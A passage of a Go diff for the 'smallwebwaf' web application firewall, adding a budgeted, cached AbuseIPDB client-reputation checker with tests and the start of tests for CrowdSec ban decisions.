limiter.Load(clients, midnight()) limiter.Load(clients, midnight())
got := limiter.Snapshot() got := limiter.Snapshot()
+328
View File
@@ -0,0 +1,328 @@
package reputation
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"net/url"
"slices"
"sync"
"time"
"github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts"
)
const (
// AbuseIPDBURL is where clients are checked: the check endpoint of
// AbuseIPDB's API.
AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
// AbuseIPDBSource is how the request log, the alerts and the metrics
// name AbuseIPDB.
AbuseIPDBSource = "abuseipdb"
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
maxAnswerBytes = 64 << 10
// day is the length of the day the checks are counted in, in UTC.
day = 24 * time.Hour
)
var (
errNoScore = errors.New("the answer gives no abuseConfidenceScore")
errBudgetUsedUp = errors.New(
"checks spent; none is made until the day ends at 00:00 UTC")
)
// Score is what AbuseIPDB said about a client, as reputation.json holds
// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
// score, from 0 to 100, and when AbuseIPDB answered.
type Score struct {
Client netip.Prefix `json:"client"`
Score int64 `json:"score"`
Fetched time.Time `json:"fetched"`
}
// Checks are what reputation.json keeps of the checks of clients with
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
// first, and the scores still in use.
type Checks struct {
Day time.Time `json:"day,omitzero"`
Spent int `json:"spent"`
Scores []Score `json:"scores"`
}
// AbuseIPDBParams are what NewAbuseIPDB needs.
type AbuseIPDBParams struct {
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
// the account's key (SWWAF_ABUSEIPDB_KEY).
URL string
Key string
// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE),
// and DailyBudget the most checks made in a day, in UTC
// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
MinScore int64
DailyBudget int
// CacheTTL is how long a score is used after it was fetched
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWWAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
// ProcessLog receives each check that fails, and why, and the day's
// budget used up.
ProcessLog *slog.Logger
// Alerts receive a source_failure alert for each.
Alerts *alerts.Queue
}
// AbuseIPDB checks clients with AbuseIPDB, in the background, and keeps
// their scores. It is safe for concurrent use.
type AbuseIPDB struct {
params AbuseIPDBParams
httpClient *http.Client
mu sync.Mutex
// scores are by client. Each is added as it is fetched and never moved
// up, so that the one fetched longest ago is the first dropped.
scores *simplelru.LRU[netip.Prefix, Score]
// checking are the clients whose check is under way.
checking map[netip.Prefix]bool
// day is the day, in UTC, of the checks spent counts.
day time.Time
spent int
// checks and failures count the checks made and those that failed,
// and retryAt is when a client may be checked again after the last
// check failed.
checks int
failures int
retryAt time.Time
}
// NewAbuseIPDB returns an AbuseIPDB with no score yet, and no check spent.
func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
scores, err := simplelru.NewLRU[netip.Prefix, Score](maxVerdicts, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
return &AbuseIPDB{
params: params,
httpClient: &http.Client{},
scores: scores,
checking: map[netip.Prefix]bool{},
}
}
// Hit returns AbuseIPDB's score of client, an IPv4 address or an IPv6
// group, and whether it is a hit: MinScore or more. A score is used until
// CacheTTL has passed since it was fetched, whichever of the client's
// addresses its request comes from. A client without one is checked in
// the background, by addr, the address its request came from, if
// offender, if it has committed an offence, unless its check is under
// way, a check failed less than failureDelay ago, or the day's checks
// have used up DailyBudget; Hit never waits for a check. The check that
// uses the budget up is logged and raised as a source_failure alert. ctx
// is the context of the client's request, and a check goes on after the
// request ends.
func (a *AbuseIPDB) Hit(
ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
) (int64, bool) {
a.mu.Lock()
now := a.params.Now()
kept, found := a.scores.Peek(client)
if found && now.Sub(kept.Fetched) < a.params.CacheTTL {
a.mu.Unlock()
return kept.Score, kept.Score >= a.params.MinScore
}
if today := now.Truncate(day); !a.day.Equal(today) {
a.day, a.spent = today, 0
}
check := offender && !a.checking[client] && !now.Before(a.retryAt) &&
a.spent < a.params.DailyBudget
if check {
a.checking[client] = true
a.checks++
a.spent++
go a.check(context.WithoutCancel(ctx), client, addr)
}
usedUp := check && a.spent == a.params.DailyBudget
a.mu.Unlock()
if usedUp {
a.alert("the daily budget of AbuseIPDB checks is used up",
fmt.Errorf("%d %w", a.params.DailyBudget, errBudgetUsedUp))
}
return 0, false
}
// Checked returns how many checks were made.
func (a *AbuseIPDB) Checked() int {
a.mu.Lock()
defer a.mu.Unlock()
return a.checks
}
// Failures returns how many checks failed.
func (a *AbuseIPDB) Failures() int {
a.mu.Lock()
defer a.mu.Unlock()
return a.failures
}
// BudgetLeft returns how many checks the day's budget has left.
func (a *AbuseIPDB) BudgetLeft() int {
a.mu.Lock()
defer a.mu.Unlock()
if !a.day.Equal(a.params.Now().Truncate(day)) {
return a.params.DailyBudget
}
return max(a.params.DailyBudget-a.spent, 0)
}
// Snapshot returns the checks spent and every score still in use, sorted
// by client, as reputation.json keeps them.
func (a *AbuseIPDB) Snapshot() Checks {
a.mu.Lock()
now := a.params.Now()
checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
for _, kept := range a.scores.Values() {
if now.Sub(kept.Fetched) < a.params.CacheTTL {
checks.Scores = append(checks.Scores, kept)
}
}
a.mu.Unlock()
slices.SortFunc(checks.Scores, func(x, y Score) int {
return x.Client.Compare(y.Client)
})
return checks
}
// Load keeps checks, read from reputation.json, in place of those it
// keeps, but for the scores past maxVerdicts, those fetched longest ago.
// One fetched CacheTTL ago or more is neither used nor written, as for any
// score.
func (a *AbuseIPDB) Load(checks Checks) {
scores := slices.Clone(checks.Scores)
slices.SortStableFunc(scores, func(x, y Score) int {
return x.Fetched.Compare(y.Fetched)
})
a.mu.Lock()
defer a.mu.Unlock()
a.day, a.spent = checks.Day, checks.Spent
a.scores.Purge()
for _, kept := range scores {
a.scores.Add(kept.Client, kept)
}
}
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
// the score as client's, and notes the check as no longer under way. A
// check that fails gives no score: it is counted, logged and raised as a
// source_failure alert, and no client is checked for failureDelay.
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
score, err := a.ask(ctx, addr)
now := a.params.Now()
a.mu.Lock()
delete(a.checking, client)
if err == nil {
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
} else {
a.failures++
a.retryAt = now.Add(failureDelay)
}
a.mu.Unlock()
if err != nil {
a.alert("checking a client with AbuseIPDB failed", err)
}
}
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
// in the header Key. An answer other than 200, one that gives no score,
// and none within Timeout, fail.
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
defer cancel()
query := url.Values{"ipAddress": {addr.String()}}
req, err := http.NewRequestWithContext(ctx, http.MethodGet,
a.params.URL+"?"+query.Encode(), http.NoBody)
if err != nil {
return 0, fmt.Errorf("make the request: %w", err)
}
req.Header.Set("Key", a.params.Key)
req.Header.Set("Accept", "application/json")
res, err := a.httpClient.Do(req)
if err != nil {
// Do's error names the URL, which holds the client's address, which
// is not to be logged: only what went wrong is kept.
return 0, fmt.Errorf("check the client: %w", errors.Unwrap(err))
}
defer func() {
_ = res.Body.Close()
}()
if res.StatusCode != http.StatusOK {
return 0, fmt.Errorf("%w %s", errStatus, res.Status)
}
var answer struct {
Data struct {
AbuseConfidenceScore *int64 `json:"abuseConfidenceScore"`
} `json:"data"`
}
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
if err != nil {
return 0, fmt.Errorf("read the answer: %w", err)
}
if answer.Data.AbuseConfidenceScore == nil {
return 0, errNoScore
}
return *answer.Data.AbuseConfidenceScore, nil
}
// alert raises a source_failure alert from AbuseIPDB with reason and err,
// and logs them.
func (a *AbuseIPDB) alert(reason string, err error) {
// Raised before it is logged, so that the alert is there once the log
// line is.
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
}
+663
View File
@@ -0,0 +1,663 @@
package reputation_test
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log/slog"
"net/http"
"net/http/httptest"
"net/netip"
"reflect"
"slices"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/metrics"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
// The tests of AbuseIPDB run in synctest bubbles, as those of the lists
// do, and AbuseIPDB is a stand-in reached without the network, for the
// same reason. A bubble's clock starts at midnight UTC, as a day the
// checks are counted in starts.
const (
// key is the account's key the tests give, the only one the stand-in
// takes.
key = "abuseipdb-key-0123456789abcdef"
// suspect and other are clients that have committed an offence.
suspect = "203.0.113.9"
other = "2001:db8::9"
)
func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A client that has committed no offence is not checked.
wantScore(t, checker, suspect, false, 0, false)
synctest.Wait()
wantChecked(t, abuseIPDB)
// An offender is, and from then on its score is used, whether or not
// it is an offender.
wantScore(t, checker, suspect, true, 0, false)
synctest.Wait()
wantScore(t, checker, suspect, true, 100, true)
wantScore(t, checker, suspect, false, 100, true)
synctest.Wait()
wantChecked(t, abuseIPDB, suspect)
})
}
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of
// it of its own.
var addresses []string
for i := 1; i < 16; i++ {
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
}
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A request from each has the client checked once, by the first.
for _, address := range addresses {
hitFrom(t, checker, address, true)
}
synctest.Wait()
wantChecked(t, abuseIPDB, addresses[0])
// Its score is the whole client's.
for _, address := range addresses {
wantScore(t, checker, address, true, 100, true)
}
synctest.Wait()
wantChecked(t, abuseIPDB, addresses[0])
})
}
func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
p := abuseIPDBParams()
p.MinScore = 75
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
for client := range scores {
hitFrom(t, checker, client, true)
}
synctest.Wait()
for client, score := range scores {
wantScore(t, checker, client, true, score, score >= 75)
}
})
}
func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
hitFrom(t, checker, suspect, true)
synctest.Wait()
// AbuseIPDB gives another score from now on, but the one kept is
// used, and the client is not checked again, until the TTL has
// passed.
abuseIPDB.setScore(suspect, 80)
time.Sleep(cacheTTL - time.Nanosecond)
wantScore(t, checker, suspect, true, 100, true)
synctest.Wait()
wantChecked(t, abuseIPDB, suspect)
// Then it is not used, and the client is checked again.
time.Sleep(time.Nanosecond)
wantScore(t, checker, suspect, true, 0, false)
synctest.Wait()
wantScore(t, checker, suspect, true, 80, true)
wantChecked(t, abuseIPDB, suspect, suspect)
})
}
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
queue := newQueue()
p := abuseIPDBParams()
p.DailyBudget = 3
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
checker := newAbuseIPDB(abuseIPDB, p)
// At noon, the first three offenders spend the budget, and the
// fourth, unchecked, is not.
time.Sleep(12 * time.Hour)
const unchecked = "192.0.2.4"
clients := []string{suspect, "192.0.2.2", "192.0.2.3", unchecked}
for _, client := range clients {
hitFrom(t, checker, client, true)
}
synctest.Wait()
wantChecked(t, abuseIPDB, clients[:3]...)
wantBudgetLeft(t, checker, 0)
// The check that used the budget up raised the alert, and logged it.
const usedUp = "the daily budget of AbuseIPDB checks is used up"
wantFailureAlert(t, queue, time.Now(), usedUp,
"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
t.Errorf("logged\n%s\nwant the budget used up", log.String())
}
// Restarted with what reputation.json keeps, it uses the scores, and
// checks no client until the day ends.
restarted := &abuseIPDBStandIn{}
again := newAbuseIPDB(restarted, p)
again.Load(checker.Snapshot())
wantScore(t, again, suspect, true, 100, true)
wantBudgetLeft(t, again, 0)
time.Sleep(12*time.Hour - time.Nanosecond)
wantScore(t, again, unchecked, true, 0, false)
synctest.Wait()
wantChecked(t, restarted)
// At midnight the budget is whole again.
time.Sleep(time.Nanosecond)
wantBudgetLeft(t, again, 3)
wantScore(t, again, unchecked, true, 0, false)
synctest.Wait()
wantChecked(t, restarted, unchecked)
wantBudgetLeft(t, again, 2)
})
}
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// key is the key sent, status and body what AbuseIPDB answers with,
// and error the failure.
key, body string
status int
error string
}{
{
"a refusal, past AbuseIPDB's own limit", key,
`{"errors":[{"detail":"Daily rate limit of 1000 requests exceeded"}]}`,
http.StatusTooManyRequests, "the server answered 429 Too Many Requests",
},
{
"a refusal of a wrong key", "wrong-key-0123456789abcdef", "", 0,
"the server answered 401 Unauthorized",
},
{
"a server failure", key, "", http.StatusInternalServerError,
"the server answered 500 Internal Server Error",
},
{
"an answer without a score", key, `{"data":{"ipAddress":"` + suspect + `"}}`,
http.StatusOK, "the answer gives no abuseConfidenceScore",
},
{
"an answer that is not JSON", key, "<html>", http.StatusOK,
"read the answer: invalid character '<' looking for beginning of value",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
queue := newQueue()
p := abuseIPDBParams()
p.Key = tc.key
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
checker := newAbuseIPDB(abuseIPDB, p)
// The failure gives no score, and no client is checked within a
// minute of it.
wantScore(t, checker, suspect, true, 0, false)
synctest.Wait()
time.Sleep(time.Minute - time.Nanosecond)
wantScore(t, checker, other, true, 0, false)
synctest.Wait()
wantChecked(t, abuseIPDB, suspect)
wantFailures(t, checker, 1)
time.Sleep(time.Nanosecond)
wantScore(t, checker, other, true, 0, false)
synctest.Wait()
wantChecked(t, abuseIPDB, suspect, other)
wantFailures(t, checker, 2)
if scores := checker.Snapshot().Scores; len(scores) != 0 {
t.Errorf("scores %+v, want none", scores)
}
// One alert for the first failure; the cooldown holds back the
// second.
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
"checking a client with AbuseIPDB failed", tc.error, 1)
if !strings.Contains(log.String(), `"msg":"checking a client with `+
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
})
})
}
}
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
queue := newQueue()
p := abuseIPDBParams()
p.Alerts = queue
abuseIPDB := &abuseIPDBStandIn{hanging: true}
checker := newAbuseIPDB(abuseIPDB, p)
began := time.Now()
// The second, while the first's check is under way, starts none.
wantScore(t, checker, suspect, true, 0, false)
wantScore(t, checker, suspect, true, 0, false)
if waited := time.Since(began); waited != 0 {
t.Errorf("waited %s for the check, want no wait", waited)
}
time.Sleep(timeout - time.Nanosecond)
synctest.Wait()
wantChecked(t, abuseIPDB, suspect)
wantFailures(t, checker, 0)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantFailures(t, checker, 1)
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
"check the client: context deadline exceeded", 0)
})
}
func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
queue := newQueue()
p := abuseIPDBParams()
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one it refuses with an answer
// that names the key.
wantScore(t, checker, suspect, true, 0, false)
synctest.Wait()
wantScore(t, checker, suspect, true, 100, true)
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
wantScore(t, checker, other, true, 0, false)
synctest.Wait()
wantFailures(t, checker, 1)
abuseIPDB.mu.Lock()
sent := slices.Clone(abuseIPDB.keys)
abuseIPDB.mu.Unlock()
if !slices.Equal(sent, []string{key, key}) {
t.Errorf("checks sent the keys %v, want %s twice", sent, key)
}
alerted, err := json.Marshal(waiting(queue))
if err != nil {
t.Fatalf("encode the alerts: %v", err)
}
kept, err := json.Marshal(checker.Snapshot())
if err != nil {
t.Fatalf("encode the checks: %v", err)
}
for name, shown := range map[string]string{
"the log": log.String(), "the alerts": string(alerted),
"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
} {
if strings.Contains(shown, key) {
t.Errorf("%s shows the key:\n%s", name, shown)
}
}
})
}
func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{}
p := abuseIPDBParams()
p.DailyBudget = 5
checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one that fails.
hitFrom(t, checker, suspect, true)
synctest.Wait()
abuseIPDB.answerWith(http.StatusInternalServerError, "")
hitFrom(t, checker, other, true)
synctest.Wait()
scraped := scrapeMetrics(t, m)
for series, want := range map[string]string{
"queries_total": "2",
"failures_total": "1",
"daily_budget_remaining": "3",
} {
line := "\nsmallwebwaf_reputation_" + series +
`{instance="app",source="abuseipdb"} ` + want + "\n"
if !strings.Contains(scraped, line) {
t.Errorf("metrics\n%s\nwant%s", scraped, line)
}
}
})
}
func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
p := abuseIPDBParams()
p.Now = func() time.Time { return now }
checker := reputation.NewAbuseIPDB(p)
// The last score still in use, and one, of other's /64, fetched a TTL
// ago.
inUse := reputation.Score{
Client: netip.MustParsePrefix(suspect + "/32"), Score: 100,
Fetched: now.Add(-cacheTTL + time.Nanosecond),
}
stale := reputation.Score{
Client: netip.MustParsePrefix("2001:db8::/64"), Score: 100,
Fetched: now.Add(-cacheTTL),
}
checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
wantScore(t, checker, suspect, false, 100, true)
wantScore(t, checker, other, false, 0, false)
got := checker.Snapshot().Scores
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
t.Errorf("scores %+v, want only %+v", got, inUse)
}
}
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
p := abuseIPDBParams()
p.Now = func() time.Time { return now }
checker := reputation.NewAbuseIPDB(p)
// 100,001 scores, listed by client, as reputation.json lists them, each
// fetched a millisecond before the one before it: the last is one too
// many.
const count = 100001
scores := make([]reputation.Score, 0, count)
addr := netip.MustParseAddr("198.18.0.0")
for i := range count {
scores = append(scores, reputation.Score{
Client: netip.PrefixFrom(addr, 32),
Fetched: now.Add(-time.Duration(i) * time.Millisecond),
})
addr = addr.Next()
}
checker.Load(reputation.Checks{Scores: scores})
got := checker.Snapshot().Scores
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
slices.Contains(got, scores[count-1]) {
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
}
}
// abuseIPDBStandIn is a stand-in for AbuseIPDB. It answers a check sent
// with key by the client's score, as scores gives it, 0 for a client it
// does not give; a check sent with another key with 401; and, while
// status is not 0, every check with status and body; and while hanging,
// none at all. It notes each client checked, and the key sent.
type abuseIPDBStandIn struct {
mu sync.Mutex
scores map[string]int64
status int
body string
hanging bool
checked []string
keys []string
}
// RoundTrip has the stand-in answer req, in place of the network. A check
// abandoned before the stand-in answers fails, as over the network.
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
client := req.URL.Query().Get("ipAddress")
sent := req.Header.Get("Key")
s.mu.Lock()
s.checked = append(s.checked, client)
s.keys = append(s.keys, sent)
score := s.scores[client]
status, body, hanging := s.status, s.body, s.hanging
s.mu.Unlock()
switch {
case hanging:
<-req.Context().Done()
return nil, req.Context().Err()
case sent != key:
status = http.StatusUnauthorized
case status == 0:
status = http.StatusOK
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
score)
}
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: http.Header{},
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
}
// setScore has the stand-in give client score.
func (s *abuseIPDBStandIn) setScore(client string, score int64) {
s.mu.Lock()
defer s.mu.Unlock()
s.scores[client] = score
}
// answerWith has the stand-in answer every check with status and body.
func (s *abuseIPDBStandIn) answerWith(status int, body string) {
s.mu.Lock()
defer s.mu.Unlock()
s.status, s.body = status, body
}
// abuseIPDBParams returns the AbuseIPDBParams of the tests: key, a minimum
// score of 75, a daily budget of 900, and the cache TTL and timeout of the
// DNSBL tests, by the bubble's clock, with alerts to a queue that sends
// none.
func abuseIPDBParams() reputation.AbuseIPDBParams {
return reputation.AbuseIPDBParams{
URL: "https://abuseipdb.example/api/v2/check",
Key: key,
MinScore: 75,
DailyBudget: 900,
CacheTTL: cacheTTL,
Timeout: timeout,
Now: time.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Alerts: newQueue(),
}
}
// newAbuseIPDB returns the AbuseIPDB of p, checking clients with
// abuseIPDB.
func newAbuseIPDB(
abuseIPDB *abuseIPDBStandIn, p reputation.AbuseIPDBParams,
) *reputation.AbuseIPDB {
checker := reputation.NewAbuseIPDB(p)
checker.SetTransport(abuseIPDB)
return checker
}
// wantScore checks the score checker gives client, and whether it is a
// hit, as a request from client finds them, offender or not.
func wantScore(
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
score int64, hit bool,
) {
t.Helper()
gotScore, gotHit := hitFrom(t, checker, client, offender)
if gotScore != score || gotHit != hit {
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
score, hit)
}
}
// hitFrom is checker's Hit for a request from address, offender or not.
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
// as smallwebwaf counts clients.
func hitFrom(
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
) (int64, bool) {
t.Helper()
addr := netip.MustParseAddr(address)
client := netip.PrefixFrom(addr, addr.BitLen())
if addr.Is6() {
client = netip.PrefixFrom(addr, 64).Masked()
}
return checker.Hit(t.Context(), client, addr, offender)
}
// wantChecked checks the clients the stand-in was asked about, in any
// order.
func wantChecked(t *testing.T, abuseIPDB *abuseIPDBStandIn, want ...string) {
t.Helper()
abuseIPDB.mu.Lock()
got := slices.Sorted(slices.Values(abuseIPDB.checked))
abuseIPDB.mu.Unlock()
want = slices.Sorted(slices.Values(want))
if !slices.Equal(got, want) {
t.Errorf("checked %v, want %v", got, want)
}
}
// wantFailures checks how many checks failed.
func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
t.Helper()
if got := checker.Failures(); got != want {
t.Errorf("%d checks failed, want %d", got, want)
}
}
// wantFailureAlert checks that the one alert waiting in queue is a
// source_failure alert from AbuseIPDB, raised at raised, with reason and
// the error failure, and that the cooldown has held back held repeats of
// it.
func wantFailureAlert(
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
held int64,
) {
t.Helper()
got := waiting(queue)
if len(got) != 1 || !got[0].Time.Equal(raised) ||
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
got[0].Detail["error"] != failure || queue.Suppressed() != held {
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
"and %d", got, queue.Suppressed(), reason, failure, held)
}
}
// wantBudgetLeft checks how many checks the day's budget has left.
func wantBudgetLeft(t *testing.T, checker *reputation.AbuseIPDB, want int) {
t.Helper()
if got := checker.BudgetLeft(); got != want {
t.Errorf("%d checks left, want %d", got, want)
}
}
// scrapeMetrics returns the metrics m serves.
func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
t.Helper()
scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody))
return scraped.Body.String()
}
+513
View File
@@ -0,0 +1,513 @@
package reputation_test
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"reflect"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
// The tests run in a synctest bubble, as those of the blocklists do, and
// fetch the decision list from engine, a stand-in for a CrowdSec engine
// that answers without the network.
const (
// decisionsURL is the decision list of the tests' engine, and engineKey
// the key it answers.
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
engineKey = "crowdsec-key-0123456789abcdef"
// sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, and rangeScope the scope of a
// decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
manual := "manual 'ban' from 'localhost'"
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
{"Country", "KP", ban, manual, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
for addr, want := range map[string]reputation.Decision{
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
"203.0.113.10": {},
"198.51.101.0": {},
"2001:db8::2": {},
"192.0.2.50": {},
} {
wantDecision(t, lists, addr, want)
}
// With the engine down, the copy kept still holds the decision on
// 198.51.100.0/24, which no longer bans once it has ended.
e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7",
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
})
}
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1)
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
e.set(func(e *engine) {
e.decisions = append(e.decisions,
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
})
time.Sleep(time.Minute - time.Nanosecond)
wantEngineFetches(t, e, 1)
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
time.Sleep(time.Nanosecond)
wantEngineFetches(t, e, 2)
wantDecision(t, lists, "203.0.113.10", added)
})
}
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
